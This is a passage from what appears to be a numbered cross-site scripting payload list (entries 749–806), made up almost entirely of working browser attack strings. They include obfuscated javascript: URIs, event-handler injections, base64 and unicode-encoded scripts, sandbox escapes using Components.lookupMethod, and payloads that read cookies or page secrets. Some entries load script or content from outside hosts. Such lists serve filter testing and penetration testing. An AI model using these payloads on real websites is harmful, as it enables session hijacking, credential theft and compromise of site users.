| 749 | %3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
| |
| 750 | <iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
| |
| 751 | <a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
| |
| 752 | <a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe> | |
| 753 | <a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
| |
| 754 | <a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
| |
| 755 | Garethy Salty Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
| |
| 756 | <a href="javascript:\u0061le%72t(1)"><button> | |
| 757 | <div onmouseover='alert(1)'>DIV</div> | |
| 758 | <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> | |
| 759 | <a href="jAvAsCrIpT:alert(1)">X</a> | |
| 760 | <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ? | |
| 761 | <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">? | |
| 762 | <var onmouseover="prompt(1)">On Mouse Over</var>? | |
| 763 | <a href=javascript:alert(document.cookie)>Click Here</a> | |
| 764 | <img src="/" =_=" title="onerror='prompt(1)'"> | |
| 765 | <%<!--'%><script>alert(1);</script --> | |
| 766 | <script src="data:text/javascript,alert(1)"></script> | |
| 767 | <iframe/src \/\/onload = prompt(1) | |
| 768 | <iframe/onreadystatechange=alert(1) | |
| 769 | <svg/onload=alert(1) | |
| 770 | <input value=<><iframe/src=javascript:confirm(1) | |
| 771 | <input type="text" value=``<div/onmouseover='alert(1)'>X</div> | |
| 772 | http://www.<script>alert(1)</script .com | |
| 773 | <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ? | |
| 774 | <svg><script ?>alert(1) | |
| 775 | <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> | |
| 776 | <img src=`xx:xx`onerror=alert(1)> | |
| 777 | <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> | |
| 778 | <meta http-equiv="refresh" content="0;javascript:alert(1)"/>? | |
| 779 | <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 780 | <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>? | |
| 781 | <svg contentScriptType=text/vbs><script>MsgBox+1 | |
| 782 | <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a | |
| 783 | <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
| |
| 784 | <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ | |
| 785 | <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
| |
| 786 | <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script ???????????? | |
| 787 | <object data=javascript:\u0061le%72t(1)> | |
| 788 | <script>+-+-1-+-+alert(1)</script> | |
| 789 | <body/onload=<!-->
alert(1)> | |
| 790 | <script itworksinallbrowsers>/*<script* */alert(1)</script ? | |
| 791 | <img src ?itworksonchrome?\/onerror = alert(1)??? | |
| 792 | <svg><script>//
confirm(1);</script </svg> | |
| 793 | <svg><script onlypossibleinopera:-)> alert(1) | |
| 794 | <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe | |
| 795 | <script x> alert(1) </script 1=2 | |
| 796 | <div/onmouseover='alert(1)'> style="x:"> | |
| 797 | <--`<img/src=` onerror=alert(1)> --!> | |
| 798 | <script/src=data:text/javascript,alert(1)></script> ? | |
| 799 | <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>? | |
| 800 | "><img src=x onerror=window.open('https://www.google.com/');>
| |
| 801 | <form><button formaction=javascript:alert(1)>CLICKME | |
| 802 | <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 803 | <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>? | |
| 804 | <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> | |
| 805 | <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> | |
| 806 | "><img src=x onerror=prompt(1);> |
